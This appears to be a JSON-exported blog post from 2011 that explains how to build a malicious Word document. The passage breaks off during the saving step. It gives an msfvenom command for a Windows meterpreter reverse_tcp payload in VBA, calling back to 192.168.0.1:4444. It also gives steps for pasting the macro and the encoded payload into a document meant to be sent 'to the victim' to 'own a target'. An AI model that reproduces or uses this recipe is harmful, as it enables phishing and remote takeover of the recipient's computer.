{"id":256,"date":"2011-12-14T17:30:32","date_gmt":"2011-12-14T16:30:32","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=256"},"modified":"2012-03-13T12:49:31","modified_gmt":"2012-03-13T11:49:32","slug":"dirty-office-doucments","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/12\/14\/dirty-office-doucments\/","title":{"rendered":"Dirty office documents"},"content":{"rendered":"

So you want\/need a malicious word document in order to own a target, step in metasploit.<\/p>\n

The first thing you’ll need to do is create the code that you’ll copy&paste into your word document.<\/p>\n

1
<\/div><\/td>
.\/<\/span>msfvenom -p<\/span> windows\/<\/span>meterpreter\/<\/span>reverse_tcp LHOST<\/span>=192.168.0.1 LPORT<\/span>=4444<\/span> -f<\/span> vba ><\/span> vbcode.txt<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

The output will contain 2 blocks of code; the macro and the data.<\/p>\n

Open a new word document and Press Alt+F11 in order to open “Microsoft Visual Basic Editor”, double click the “ThisDocument” in the Project window in the upper left. Paste the macro code from the msfvenom output here, then press Alt+Q to close the vb editor.<\/p>\n

Now paste the data section from the msfvenom output into the main body of the word document. None of the code will make sense, it’s not meant to; it’s encoded!<\/p>\n

Now you need to save the document ready to send to the victim:<\/p>\n